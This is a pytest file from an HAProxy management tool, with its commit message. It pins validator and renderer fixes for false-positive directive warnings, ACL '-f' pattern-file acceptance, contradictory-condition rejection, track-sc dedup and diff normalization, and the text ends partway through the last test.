Files
haproxy-openmanager/backend/tests/test_haproxy_validator_bulgu12.py
taylanbakircioglu c79391cd13 feat(acl): accept HAProxy -f pattern-file references with advisory warnings (v1.8.9, Issue #38)
The manual Frontend editor, wizard and visual ACL builder hard-rejected the ACL
`-f <file>` flag while bulk import accepted it. Worse, a frontend imported with
an `-f` ACL could not be edited at all (422) until the ACL was dropped.

The original guard predated the fail-safe apply flow: the agent runs `haproxy -c`
before every reload, so a missing pattern file is rejected safely and the previous
config keeps running. Pattern files are operator-managed host files — the same
policy adopted for SPOE filter configs in v1.8.8.

- models: remove the 5 `-f` hard rejects (frontend acl/redirect/use_backend
  validators + wizard string/dict-redirect guards); `$(`/backtick and X!X
  contradiction guards unchanged
- routers/frontend: `_pattern_file_warnings` helper; non-blocking warning on
  create + update responses listing referenced pattern files (empty when no
  rule uses `-f` — zero noise)
- routers/config: bulk-import preview advisory listing pattern files per
  frontend (cluster config-dir aware, next to the SPOE advisories)
- React: remove the FrontendManagement submit gate and SiteWizard step gate;
  ACLRuleBuilder renders informational notes instead of errors and re-adds
  `-f (pattern file on host)` to the flag dropdown; create path now renders
  server warnings like update
- tests: 4 reject-pins inverted to accept-pins; new test_acl_pattern_file_allow.py
  (accept/guards-kept/zero-noise/advisory); full suite green (1094 passed)
2026-07-14 00:27:11 +03:00

6880 lines
264 KiB
Python
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
"""
Phase K Phase D follow-up (Bulgu #12 round 3) — heuristic validator
false-positive WARNING fixes + ACL `-f <file>` pattern-file flag block.
Operator-reported failure flow (Round 3, May 11):
1. Wizard /preview emitted 8 WARNINGs:
- frontend stick-table / tcp-request × 5
- backend cookie × 2
- "Missing 'global' section"
2. Operator clicked Create anyway (WARNINGs do not block).
3. Apply Management ran real `haproxy -c`, which FAILED with:
[ALERT] parsing ACL 'acl1' : failed to open pattern file </path>.
[ALERT] parsing switching rule : no such ACL : 'acl1'.
4. The wizard's ACL builder had let the operator author
`acl acl1 path -i -m reg -f /path` — the `-f` flag references
a pattern file the product never provisions.
This file pins the post-fix contract on both fronts so a future
"simplification" cannot regress us back to either failure mode.
"""
import json
import pytest
from pathlib import Path
from pydantic import ValidationError
from utils.haproxy_validator import (
HAProxyConfigValidator,
ValidationLevel,
validate_haproxy_config,
)
# Round-14 portability fix: the static-source pins below use Path()
# to load files like `models/site_wizard.py`. Pre-fix the paths were
# bare relative strings that ONLY resolved when pytest was invoked
# with cwd=backend/ — running the suite from the workspace root
# (or from a CI image with a different cwd) made every static-marker
# pin fail with FileNotFoundError. Anchor relative reads to the
# backend root (the parent of this test file's tests/ dir) so the
# pins work regardless of where pytest was launched from.
_BACKEND_DIR = Path(__file__).resolve().parent.parent
def _backend_src(rel: str) -> str:
"""Read a backend-relative source file as text, anchored at the
backend/ dir so the read is independent of pytest's cwd."""
return (_BACKEND_DIR / rel).read_text()
# ──────────────────────────────────────────────────────────────────────
# False-positive WARNING fixes (expanded valid_directives + partial-
# fragment detection).
# ──────────────────────────────────────────────────────────────────────
@pytest.mark.parametrize(
"directive_line",
[
# All of these were FALSE POSITIVES pre-fix.
" stick-table type ip size 100k expire 30s store http_req_rate(10s)",
" tcp-request inspect-delay 5s",
" tcp-request content accept if { req_ssl_hello_type 1 }",
" tcp-response content reject if { sc_http_req_rate(0) gt 100 }",
" http-after-response set-header X-Cache miss",
" errorfile 503 /etc/haproxy/errors/503.http",
" description test frontend",
" capture request header User-Agent len 64",
],
)
def test_frontend_section_no_longer_flags_valid_directives(directive_line):
"""The wizard emits stick-table / tcp-request on frontends with
rate-limit WAF rules. Pre-fix every emission flagged a WARNING.
"""
config = f"frontend test\n bind *:80\n mode http\n{directive_line}\n default_backend be1\n"
report = HAProxyConfigValidator().validate_config(config)
invalid_warns = [
r for r in report.results
if r.level == ValidationLevel.WARNING
and r.message.startswith("Directive '")
and "may not be valid in 'frontend' section" in r.message
]
assert invalid_warns == [], (
f"Bulgu #12 regression: frontend directive flagged as invalid: "
f"{[w.message for w in invalid_warns]}"
)
@pytest.mark.parametrize(
"directive_line",
[
" cookie SERVERID insert indirect nocache",
" tcp-request content accept if WAIT_END",
" http-after-response set-header X-Backend be1",
" retries 3",
" redirect prefix /api code 301 if needs_api",
" description backend description",
" errorfile 502 /etc/haproxy/errors/502.http",
],
)
def test_backend_section_no_longer_flags_valid_directives(directive_line):
"""`cookie` is THE canonical session-stickiness directive on
backend; the heuristic was flagging it as invalid pre-fix.
"""
config = f"backend test\n mode http\n server srv1 1.1.1.1:80 check\n{directive_line}\n"
report = HAProxyConfigValidator().validate_config(config)
invalid_warns = [
r for r in report.results
if r.level == ValidationLevel.WARNING
and r.message.startswith("Directive '")
and "may not be valid in 'backend' section" in r.message
]
assert invalid_warns == [], (
f"Bulgu #12 regression: backend directive flagged as invalid: "
f"{[w.message for w in invalid_warns]}"
)
def test_partial_fragment_skips_missing_global_warning():
"""The wizard's candidate config OMITS global/defaults because the
agent merges them with its local copy on disk. The validator must
suppress the "Missing 'global' section" WARNING when
partial_fragment=True.
"""
config = (
"frontend fe1\n"
" bind *:80\n"
" mode http\n"
" default_backend be1\n"
"\n"
"backend be1\n"
" mode http\n"
" server srv1 1.1.1.1:80 check\n"
)
# Without flag — fires
report_full = HAProxyConfigValidator().validate_config(config)
missing_global = [
r for r in report_full.results
if r.level == ValidationLevel.WARNING
and "Missing 'global'" in r.message
]
assert missing_global, (
"Complete-config callers should still see the missing-global "
"warning (sanity check for the inverse case)."
)
# With flag — suppressed
report_partial = HAProxyConfigValidator().validate_config(
config, partial_fragment=True
)
missing_global_partial = [
r for r in report_partial.results
if r.level == ValidationLevel.WARNING
and "Missing 'global'" in r.message
]
assert missing_global_partial == [], (
f"Bulgu #12 regression: partial_fragment=True must suppress "
f"missing-global WARNING. Got: {[w.message for w in missing_global_partial]}"
)
def test_partial_fragment_auto_detected_via_marker_comment():
"""The wizard's `_build_candidate_fragment` emits a marker
comment. The validator auto-detects partial-fragment mode from
the marker so callers that forget to pass the flag still see
suppressed warnings.
"""
config = (
"# ─── Wizard candidate fragment (dry-run preview) ───\n"
"frontend fe1\n"
" bind *:80\n"
" mode http\n"
" default_backend be1\n"
"\n"
"backend be1\n"
" mode http\n"
" server srv1 1.1.1.1:80 check\n"
)
# No explicit flag — auto-detect should kick in.
report = HAProxyConfigValidator().validate_config(config)
missing_global = [
r for r in report.results
if r.level == ValidationLevel.WARNING
and "Missing 'global'" in r.message
]
assert missing_global == [], (
f"Bulgu #12 regression: marker-comment auto-detect must "
f"suppress missing-global. Got: {[w.message for w in missing_global]}"
)
def test_module_level_validate_haproxy_config_forwards_partial_fragment():
"""`validate_haproxy_config(content, partial_fragment=True)` — the
module-level convenience wrapper must forward the flag.
"""
config = "frontend fe1\n bind *:80\n mode http\n"
report_full = validate_haproxy_config(config)
assert any(
r.level == ValidationLevel.WARNING and "Missing 'global'" in r.message
for r in report_full.results
), "Sanity: missing-global fires on complete-config defaults"
report_partial = validate_haproxy_config(config, partial_fragment=True)
assert not any(
r.level == ValidationLevel.WARNING and "Missing 'global'" in r.message
for r in report_partial.results
), "Module-level wrapper failed to forward partial_fragment=True"
# ──────────────────────────────────────────────────────────────────────
# Issue #38 follow-up: ACL `-f <file>` pattern-file references are
# ACCEPTED (the Bulgu #12 hard reject was removed — pattern files are
# operator-managed host files, the agent's pre-reload `haproxy -c`
# makes a missing file fail safely, and bulk import always accepted
# `-f`). These tests pin the ACCEPT behaviour.
# ──────────────────────────────────────────────────────────────────────
def test_wizard_pydantic_accepts_acl_with_file_flag():
"""Issue #38 follow-up — the wizard's ACL string validator must
ACCEPT `-f <file>` pattern-file references (Bulgu #12 reject
removed). Operators with large host-managed IP blacklists rely
on this in production.
"""
from models.site_wizard import FrontendStep
fe = FrontendStep(
name="fe1",
mode="http",
bind_address="*",
bind_port=80,
acl_rules=["acl1 path -i -m reg -f /path"],
)
assert fe.acl_rules == ["acl1 path -i -m reg -f /path"], (
"ACL `-f` rule must round-trip verbatim through the wizard model"
)
@pytest.mark.parametrize(
"rule",
[
# Various spacing / position variants must all be accepted.
"acl1 path -f /etc/haproxy/list",
"acl1 path -i -f /tmp/x.lst",
"acl1 src -f /etc/haproxy/admins.lst",
"acl1 hdr(Host) -i -f /var/log/hosts.lst",
# `-f` at the very end with no trailing space:
"acl1 path -f",
],
)
def test_wizard_pydantic_accepts_acl_with_file_flag_variants(rule):
"""Every spacing / position variant must be accepted verbatim
(Issue #38 follow-up — no `-f` shape may be rejected)."""
from models.site_wizard import FrontendStep
fe = FrontendStep(
name="fe1",
mode="http",
bind_address="*",
bind_port=80,
acl_rules=[rule],
)
assert fe.acl_rules == [rule]
def test_wizard_pydantic_does_not_falsely_match_dash_f_inside_token():
"""The regex MUST NOT match `-foo`, `--foo`, `something-flag`,
etc. Only the bare `-f` token with whitespace boundaries.
"""
from models.site_wizard import FrontendStep
fe_kwargs = dict(
name="fe1",
mode="http",
bind_address="*",
bind_port=80,
# Each of these has `-f` as a SUBSTRING but not as a token.
acl_rules=[
"is_foo path_beg /foo", # `-foo` in path: no match
"is_dashed src 10.0.0.0/24", # plain rule
"is_self path_beg /self-config-file", # `-file` substring: no match
],
)
# Should NOT raise.
fe = FrontendStep(**fe_kwargs)
assert len(fe.acl_rules) == 3
def test_manual_frontend_validator_accepts_acl_with_file_flag():
"""Parity check (Issue #38 follow-up): the manual Frontend API
(`models/frontend.py::validate_acl_rules`) must ACCEPT `-f`
pattern-file references, same as the wizard and bulk import.
"""
from models.frontend import FrontendConfig
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
acl_rules=["acl1 path -i -m reg -f /path"],
)
assert fe.acl_rules == ["acl1 path -i -m reg -f /path"]
def test_wizard_pydantic_accepts_structured_redirect_dict_with_file_flag():
"""Issue #38 follow-up — structured redirect dicts carrying `-f`
pattern-file references in `condition`/`target` are ACCEPTED
(the Bulgu #12 dict-aware reject was removed together with the
string-rule reject).
"""
from models.site_wizard import FrontendStep
fe_kwargs = dict(
name="fe1",
port=80,
mode="http",
)
# `condition` carrying `-f` is accepted.
fe = FrontendStep(
**fe_kwargs,
redirect_rules=[
{
"type": "scheme",
"target": "https",
"condition": "if { src -f /etc/haproxy/admins.lst }",
}
],
)
assert fe.redirect_rules[0]["condition"] == "if { src -f /etc/haproxy/admins.lst }"
# `target` carrying `-f` is accepted too.
fe = FrontendStep(
**fe_kwargs,
redirect_rules=[
{
"type": "location",
"target": "/foo -f /tmp/x.lst",
}
],
)
assert fe.redirect_rules[0]["target"] == "/foo -f /tmp/x.lst"
# Clean structured dict still passes.
FrontendStep(
**fe_kwargs,
redirect_rules=[
{
"type": "scheme",
"target": "https",
"condition": "if !{ ssl_fc }",
}
],
)
# ──────────────────────────────────────────────────────────────────────
# Bulgu #13 — `X !X` contradiction detection (use_backend / redirect).
# ──────────────────────────────────────────────────────────────────────
@pytest.mark.parametrize(
"rule",
[
"be-site if acl1 !acl1",
"be-site if acl1 !acl1",
"be-site unless acl1 !acl1",
"be-site if !acl1 acl1",
"be-site if acl1 acl2 !acl1", # contradiction in subset
],
)
def test_wizard_pydantic_rejects_use_backend_with_acl_contradiction(rule):
"""Operator-reported Bulgu #13 — the wizard's mode="tags"
Select for routing conditions previously allowed both
`acl1` AND `!acl1` to be selected for the same rule. The
Pydantic guard rejects the resulting `X AND NOT X` payload
before persist.
"""
from models.site_wizard import FrontendStep
from pydantic import ValidationError
with pytest.raises(ValidationError) as exc_info:
FrontendStep(
name="fe1",
port=80,
mode="http",
use_backend_rules=[rule],
)
msg = str(exc_info.value)
assert (
"contradictory" in msg.lower()
or "x and not x" in msg.lower()
or "always false" in msg.lower()
), msg
def test_wizard_pydantic_rejects_redirect_rule_with_acl_contradiction():
"""Same contradiction check applies to redirect rules (both
string AND dict shape)."""
from models.site_wizard import FrontendStep
from pydantic import ValidationError
with pytest.raises(ValidationError) as exc:
FrontendStep(
name="fe1",
port=80,
mode="http",
redirect_rules=["scheme https if acl1 !acl1"],
)
assert (
"contradictory" in str(exc.value).lower()
or "always false" in str(exc.value).lower()
)
with pytest.raises(ValidationError) as exc2:
FrontendStep(
name="fe1",
port=80,
mode="http",
redirect_rules=[
{
"type": "scheme",
"target": "https",
"condition": "if acl1 !acl1",
}
],
)
assert (
"contradictory" in str(exc2.value).lower()
or "always false" in str(exc2.value).lower()
)
def test_wizard_pydantic_accepts_consistent_conditions_no_false_positives():
"""Routing rules with consistent conditions must NOT trigger
the contradiction guard."""
from models.site_wizard import FrontendStep
# All of these have logically consistent conditions.
fe = FrontendStep(
name="fe1",
port=80,
mode="http",
use_backend_rules=[
"be-api if is_api",
"be-static unless is_dynamic",
"be-admin if is_admin is_authenticated",
"be-public if !is_admin", # `!X` alone is fine
"be-fallback if !is_api !is_static", # two negatives, no contradiction
"be-special if acl1 acl2 !acl3", # mixed but no `X !X`
],
)
assert len(fe.use_backend_rules) == 6
def test_manual_frontend_validator_rejects_use_backend_with_acl_contradiction():
"""Bulgu #62 (round-22 audit) — the contradiction check moved
from the FrontendConfig model into the route handler so the
UPDATE path can grandfather legacy rules. The model now ACCEPTS
the rule (preserves backward compat for direct model
constructions and test stubs); the route handler enforces the
reject at POST and grandfathers it at PUT. This test now pins
the handler-level helper instead of the model-level reject."""
from models.frontend import FrontendConfig
from routers.frontend import _collect_routing_rule_contradictions
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
use_backend_rules=["be-x if acl1 !acl1"],
)
assert fe.use_backend_rules == ["be-x if acl1 !acl1"]
conflicts = _collect_routing_rule_contradictions(
fe.use_backend_rules, "use_backend_rules",
)
assert len(conflicts) == 1
assert conflicts[0][0] == "use_backend_rules"
def test_manual_frontend_validator_rejects_redirect_with_acl_contradiction():
"""Bulgu #62 (round-22 audit) — same as the use_backend test:
the model now accepts the rule and the handler-level helper
flags it. Pins that the helper still catches the same shape."""
from models.frontend import FrontendConfig
from routers.frontend import _collect_routing_rule_contradictions
fe = FrontendConfig(
name="fe1",
bind_port=80,
mode="http",
redirect_rules=["scheme https if acl1 !acl1"],
)
assert fe.redirect_rules == ["scheme https if acl1 !acl1"]
conflicts = _collect_routing_rule_contradictions(
fe.redirect_rules, "redirect_rules",
)
assert len(conflicts) == 1
assert conflicts[0][0] == "redirect_rules"
# ──────────────────────────────────────────────────────────────────────
# Bulgu #13 — `http-request track-sc0 src` dedup in renderer.
# ──────────────────────────────────────────────────────────────────────
def test_renderer_dedups_track_sc0_within_frontend():
"""Pre-fix every WAF rate_limit rule emitted its own
`http-request track-sc0 src` line. HAProxy only NEEDS one
track call per frontend; the subsequent rate-limit rules
consume the same counter via `sc_http_req_rate(0)`. The
renderer now dedupes after the first occurrence.
Static-source pin so a future refactor cannot drop the dedup.
"""
from pathlib import Path
src = (
Path(__file__).resolve().parent.parent
/ "services"
/ "haproxy_config.py"
)
body = src.read_text()
# Round-2 refinement (track-sc<N> signature dedup): accept
# either layout so the test doesn't false-fail across the
# legacy single-flag and the new (counter, fetch) set forms.
assert (
"_track_sc_signatures" in body
or "_track_sc0_emitted" in body
), (
"Bulgu #13 renderer regression: the track-sc dedup state "
"is missing. Every WAF rate-limit rule will emit a "
"redundant `http-request track-sc<N> <fetch>` line into "
"the frontend block."
)
assert ("TRACK-SC DEDUP" in body) or ("TRACK-SC0 DEDUP" in body), (
"Bulgu #13 renderer regression: the dedup log line is "
"no longer emitted, which means operators cannot audit "
"the dedup decisions."
)
def test_sitewizard_orphan_clear_degrades_ssl_mode_to_none():
"""Bulgu #14 — when the orphan-cert cleanup nullifies
`ssl.ssl_certificate_id` while the form had
`ssl.mode='existing'`, the resulting state is logically
inconsistent (Pydantic rejects "mode=existing requires
ssl_certificate_id"). The wizard must auto-degrade the mode
to 'none' so the form stays self-consistent AND bounce the
operator back to Step 3 (SSL & ACME) so they can pick a
replacement.
Static-source pin protects this remediation against a
future refactor that re-introduces the inconsistent state.
"""
from pathlib import Path
src = (
Path(__file__).resolve().parent.parent.parent
/ "frontend"
/ "src"
/ "components"
/ "SiteWizard.js"
)
if not src.exists():
pytest.skip(
f"frontend not present at {src}; running in backend-only "
"container is expected — skip JS source pin"
)
body = src.read_text()
# Mode auto-degrade.
assert (
"mode: 'none'" in body
and "ssl_certificate_id === undefined" in body
and "cur?.ssl?.mode === 'existing'" in body
), (
"Bulgu #14 regression: orphan-cert cleanup no longer "
"auto-degrades `ssl.mode` to 'none' when it nulls "
"ssl_certificate_id. The dry-run on Step 5 will reject "
"the inconsistent state with a confusing Pydantic error."
)
# Auto-navigation back to Step 3.
assert "SSL_STEP_INDEX" in body, (
"Bulgu #14 regression: the SSL step index constant has "
"been removed; the orphan-clear rescue navigation uses "
"this name to avoid a magic number."
)
assert "setTimeout(() => setStep(SSL_STEP_INDEX)" in body, (
"Bulgu #14 regression: the orphan-clear rescue no longer "
"bounces the operator back to the SSL step after the "
"form fields were nulled. They will stay parked at the "
"Review step staring at a Pydantic error message that "
"doesn't tell them where to fix the inconsistency."
)
# Persistent in-page banner.
assert "orphanClearedCerts" in body, (
"Bulgu #14 regression: the persistent in-page Alert that "
"explains the orphan-clear is gone. Operators on a busy "
"screen miss the ephemeral message.warning toast."
)
def test_renderer_skips_per_server_cookie_when_backend_has_no_cookie_directive():
"""Pre-fix the renderer emitted `server srv1 ... cookie srv1`
even when the parent backend had no `cookie SERVERID insert
...` directive. Without backend-level cookie persistence the
per-server cookie is just metadata — HAProxy stores it but
never inserts/reads. This produced silently broken
stickiness for operators who set the per-server cookie value
without enabling backend cookies.
Static-source pin: the renderer now only emits the per-server
cookie when `backend.cookie_name` is set.
"""
from pathlib import Path
src = (
Path(__file__).resolve().parent.parent
/ "services"
/ "haproxy_config.py"
)
body = src.read_text()
assert "parent_backend_has_cookie" in body, (
"Bulgu #13 renderer regression: the per-server cookie "
"emit branch is back to unconditional. Re-introduce the "
"`parent_backend_has_cookie` guard."
)
assert "CONFIG COOKIE INCONSISTENT" in body, (
"Bulgu #13 renderer regression: the diagnostic log that "
"tells operators why their per-server cookie was skipped "
"is missing."
)
# ──────────────────────────────────────────────────────────────────────
# End-to-end pin: the user-reported wizard config now passes dry-run
# WITHOUT spurious WARNINGs but the ACL with -f is rejected upstream
# at Pydantic so the validator never even sees it.
# ──────────────────────────────────────────────────────────────────────
def test_user_reported_wizard_config_emits_no_false_warnings():
"""Replay the user's actual wizard config (from the Round 3
rejection) WITHOUT the offending `-f` ACL. Validator must report
zero WARNINGs from the directives we expanded.
"""
# Distilled from the user's bulk-site-create snapshot, minus the
# `-f` ACL (accepted since the Issue #38 follow-up, but irrelevant
# to the directive-expansion warnings this test pins).
config = """# ─── Wizard candidate fragment (dry-run preview) ───
frontend fe-site1
bind *:80
mode http
timeout client 1234ms
timeout http-request 4444ms
maxconn 1001
compression algo gzip
monitor-uri /hel
log 127.0.0.1:514 local0 info
stick-table type ip size 100k expire 30s store http_req_rate(10s)
acl is_acme_challenge path_beg /.well-known/acme-challenge/
http-request allow if is_acme_challenge
http-request track-sc0 src
http-request deny if { sc_http_req_rate(0) gt 123 }
use_backend _acme_challenge_backend if is_acme_challenge
default_backend be-site1
backend be-site1
balance roundrobin
mode http
option httpchk GET /hh1
http-check expect status 201
timeout connect 10000ms
timeout server 60000ms
timeout queue 60000ms
cookie SERVERID insert indirect nocache
server srv1 1.1.1.1:8081 weight 101 check
"""
report = HAProxyConfigValidator().validate_config(config)
# Filter to the directive-invalidity WARNINGs we explicitly fixed.
bad_warns = [
r for r in report.results
if r.level == ValidationLevel.WARNING
and r.message.startswith("Directive '")
and (
"stick-table" in r.message
or "tcp-request" in r.message
or "cookie" in r.message
)
]
assert bad_warns == [], (
f"Bulgu #12 end-to-end regression: user-reported wizard "
f"config still emits spurious directive-invalidity WARNINGs: "
f"{[w.message for w in bad_warns]}"
)
# And missing-global must be suppressed (auto-detected via marker).
missing_global = [
r for r in report.results
if r.level == ValidationLevel.WARNING
and "Missing 'global'" in r.message
]
assert missing_global == [], (
"Bulgu #12 end-to-end regression: marker-comment auto-detect "
"failed to suppress missing-global WARNING."
)
# ──────────────────────────────────────────────────────────────────────
# Round 4 hardening (post-Bulgu #14 follow-up)
#
# Three pin tests for the audit-round additions that don't have any
# other coverage in the test corpus:
#
# 1. track-sc<N> dedup is signature-scoped — `track-sc0 src` and
# `track-sc0 dst` (different sample fetches → different counter
# keys per HAProxy) must BOTH stay; only IDENTICAL tracker
# signatures collapse.
#
# 2. SiteWizard orphan-detect treats usage_type mismatch as orphan
# (Bulgu #2 parity follow-up). The HTTPS frontend cert slot
# requires `usage_type='frontend'`; the per-server CA bundle
# slot requires `usage_type='server'`. A cert that an admin
# re-tagged from 'frontend' → 'server' on the SSL Management
# page would pass the legacy "id is in the list" check but
# then disappear from the dropdown filter. Auto-clear so the
# form is self-consistent.
#
# 3. SiteDrafts label for the HTTPS frontend creation timing field
# moved from the technical "Deferred: Yes/No" to the operator-
# facing "Created at: After ACME cert issuance / Immediately
# at apply". Pin the new label so a future translation /
# rewrite doesn't silently revert it to the cryptic
# "Deferred".
# ──────────────────────────────────────────────────────────────────────
def test_track_sc_dedup_is_signature_scoped():
"""Round-4 refinement: dedup the FULL `track-sc<N> <fetch>` line,
not just `track-sc0`. So `track-sc0 src` and `track-sc0 dst`
coexist (different counter keys); two identical `track-sc0 src`
lines collapse to one.
"""
from pathlib import Path
src = (
Path(__file__).resolve().parents[1]
/ "services"
/ "haproxy_config.py"
)
body = src.read_text()
assert "_track_sc_signatures" in body, (
"Round-4 regression: dedup state must be a SET of "
"(counter, fetch) signatures, not a single boolean flag. "
"Otherwise legitimate `track-sc0 src` + `track-sc0 dst` "
"combinations are incorrectly collapsed."
)
assert 'startswith("http-request track-sc")' in body, (
"Round-4 regression: dedup must scope to the track-sc<N> "
"family (any counter index), not just track-sc0."
)
def test_orphan_detect_uses_usage_type_compatibility():
"""Round-4 audit: orphan detection must use a usage_type-aware
compatibility check, not a bare `certIds.has(id)` membership.
Otherwise a cert that an admin re-tagged from 'frontend'
'server' (or vice-versa) on the SSL Management page would
silently survive in the wizard form while disappearing from
the filtered dropdown.
"""
from pathlib import Path
src = (
Path(__file__).resolve().parents[1].parent
/ "frontend"
/ "src"
/ "components"
/ "SiteWizard.js"
)
if not src.exists():
pytest.skip(
"frontend source tree not present in this build context "
"(backend-only image)."
)
body = src.read_text()
assert "isCompatible(certId, expectedUsage)" in body or (
"isCompatible = (certId, expectedUsage)" in body
), (
"Round-4 regression: the orphan-detect effect must define a "
"`isCompatible(certId, expectedUsage)` helper that checks BOTH "
"the id presence AND the usage_type compatibility."
)
assert "expected 'frontend'" in body, (
"Round-4 regression: the orphan toast must explicitly call "
"out the expected usage_type so the operator understands "
"WHY the cert was cleared (not just 'cert was deleted')."
)
assert "expected 'server'" in body, (
"Round-4 regression: per-server ca-file orphan toast must "
"call out the expected 'server' usage_type."
)
def test_sitedrafts_https_creation_timing_label_is_operator_facing():
"""Round-4 audit: the HTTPS frontend creation-timing field in the
Site Drafts preview must use the operator-facing
"Created at: After ACME cert issuance / Immediately at apply"
instead of the cryptic legacy "Deferred: Yes / No".
"""
from pathlib import Path
src = (
Path(__file__).resolve().parents[1].parent
/ "frontend"
/ "src"
/ "components"
/ "SiteDrafts.js"
)
if not src.exists():
pytest.skip(
"frontend source tree not present in this build context "
"(backend-only image)."
)
body = src.read_text()
assert "After ACME cert issuance" in body, (
"Round-4 regression: the deferred HTTPS frontend timing label "
"lost its operator-facing wording. Restore the "
"'After ACME cert issuance' branch."
)
assert "Immediately at apply" in body, (
"Round-4 regression: the non-deferred branch lost its "
"operator-facing wording. Restore the "
"'Immediately at apply' branch."
)
# ──────────────────────────────────────────────────────────────────────
# Bulgu #15 — Diff endpoint normalization
#
# Operator-reported case: wizard NEXT-NEXT-CREATE with only a new
# frontend port + a new backend server IP produced an Apply Management
# diff that showed `-` lines on UNTOUCHED existing entities (extra
# `http-request track-sc0 src` lines and `cookie srv1` per-server
# attributes).
#
# Root cause: the previous-version `config_content` was rendered with
# the OLD renderer (pre-Bulgu #13 dedup/strip), and the new version
# with the NEW renderer. The textual diff legitimately surfaced the
# renderer evolution as `+`/`-` lines on entities the operator never
# touched, breaking the "I added one site; the diff should be `+`-
# only" mental model.
#
# Fix: normalize BOTH sides of the diff through
# `_normalize_haproxy_config_text_for_diff` before computing the
# unified diff. The function applies the same `track-sc<N>` dedup
# and `cookie <name>` strip that the renderer now performs, so
# renderer-only differences cancel out and the diff surfaces only
# operator-intent changes.
# ──────────────────────────────────────────────────────────────────────
def test_normalize_dedups_duplicate_track_sc_within_frontend():
"""Duplicate `http-request track-sc0 src` lines in a frontend
block must collapse to a single occurrence.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"frontend fe-test\n"
" bind *:80\n"
" mode http\n"
" http-request track-sc0 src\n"
" http-request deny if { sc_http_req_rate(0) gt 100 }\n"
" http-request track-sc0 src\n"
" http-request deny if { sc_http_req_rate(0) gt 200 }\n"
" http-request track-sc0 src\n"
" default_backend be-test\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
track_lines = [
ln for ln in normalized.split('\n')
if ln.strip().startswith('http-request track-sc0 src')
]
assert len(track_lines) == 1, (
f"Bulgu #15 regression: duplicate `http-request track-sc0 src` "
f"lines must collapse to a single occurrence per frontend; "
f"got {len(track_lines)} lines in: {normalized!r}"
)
# The deny lines (which are NOT duplicate signatures) must
# survive unchanged.
deny_lines = [
ln for ln in normalized.split('\n')
if ln.strip().startswith('http-request deny')
]
assert len(deny_lines) == 2, (
f"Bulgu #15 regression: distinct `http-request deny` rules "
f"were incorrectly collapsed; got {len(deny_lines)} lines."
)
def test_normalize_preserves_different_track_sc_signatures():
"""Different (counter, fetch) signatures (`track-sc0 src` vs
`track-sc0 dst` vs `track-sc1 src`) must NOT collapse — each
populates a distinct HAProxy state-table slot.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"frontend fe-test\n"
" bind *:80\n"
" http-request track-sc0 src\n"
" http-request track-sc0 dst\n"
" http-request track-sc1 src\n"
" default_backend be-test\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
track_lines = [
ln.strip() for ln in normalized.split('\n')
if ln.strip().startswith('http-request track-sc')
]
assert track_lines == [
'http-request track-sc0 src',
'http-request track-sc0 dst',
'http-request track-sc1 src',
], (
f"Bulgu #15 regression: distinct (counter, fetch) signatures "
f"were incorrectly collapsed. Got: {track_lines}"
)
def test_normalize_resets_track_sigs_per_section():
"""Two SEPARATE frontends each get their own `track-sc0 src` line.
Section boundary must reset the dedup state.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"frontend fe-one\n"
" bind *:80\n"
" http-request track-sc0 src\n"
" default_backend be-one\n"
"\n"
"frontend fe-two\n"
" bind *:81\n"
" http-request track-sc0 src\n"
" default_backend be-two\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
track_count = sum(
1 for ln in normalized.split('\n')
if ln.strip() == 'http-request track-sc0 src'
)
assert track_count == 2, (
f"Bulgu #15 regression: per-section dedup state did not reset "
f"between two frontends — got {track_count} track-sc0 lines."
)
def test_normalize_strips_per_server_cookie_when_backend_lacks_cookie_directive():
"""If a backend block has NO top-level `cookie ...` directive, any
per-server `cookie <name>` attribute is silently broken (stickiness
won't work). The renderer strips it; the normalizer must strip it
on the diff side too.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"backend be-no-cookie\n"
" balance roundrobin\n"
" mode http\n"
" server srv1 1.1.1.1:8080 weight 100 check cookie srv1 backup\n"
" server srv2 2.2.2.2:8080 weight 100 check\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
srv1 = [
ln for ln in normalized.split('\n')
if 'srv1' in ln and ln.strip().startswith('server ')
]
assert srv1, "test setup error: srv1 line missing"
assert ' cookie ' not in srv1[0], (
f"Bulgu #15 regression: per-server `cookie <name>` must be "
f"stripped when the parent backend has no `cookie` "
f"directive. Got: {srv1[0]!r}"
)
# The rest of the directive (`backup`) must survive.
assert 'backup' in srv1[0], (
f"Bulgu #15 regression: stripping cookie pair clobbered "
f"other server attributes. Got: {srv1[0]!r}"
)
def test_normalize_preserves_per_server_cookie_when_backend_has_cookie_directive():
"""The strip is conditional on the parent backend lacking a `cookie`
directive. If the backend DOES declare `cookie SERVERID insert ...`,
the per-server cookie attribute is legitimate and must stay.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"backend be-with-cookie\n"
" balance roundrobin\n"
" mode http\n"
" cookie SERVERID insert indirect nocache\n"
" server srv1 1.1.1.1:8080 weight 100 check cookie srv1\n"
" server srv2 2.2.2.2:8080 weight 100 check cookie srv2\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
cookie_servers = [
ln for ln in normalized.split('\n')
if ln.strip().startswith('server ') and ' cookie ' in ln
]
assert len(cookie_servers) == 2, (
f"Bulgu #15 regression: per-server cookie attribute was "
f"incorrectly stripped on a backend that DOES have a "
f"top-level cookie directive. Got: {cookie_servers}"
)
def test_normalize_is_idempotent():
"""Running the normalizer twice produces the same result as
running it once. Required so a config that's already normalized
(e.g. rendered with the new renderer) passes through unchanged.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"frontend fe-test\n"
" bind *:80\n"
" http-request track-sc0 src\n"
" http-request track-sc0 src\n"
" default_backend be-test\n"
"\n"
"backend be-test\n"
" server srv1 1.1.1.1:8080 weight 100 check cookie srv1\n"
)
once = _normalize_haproxy_config_text_for_diff(text)
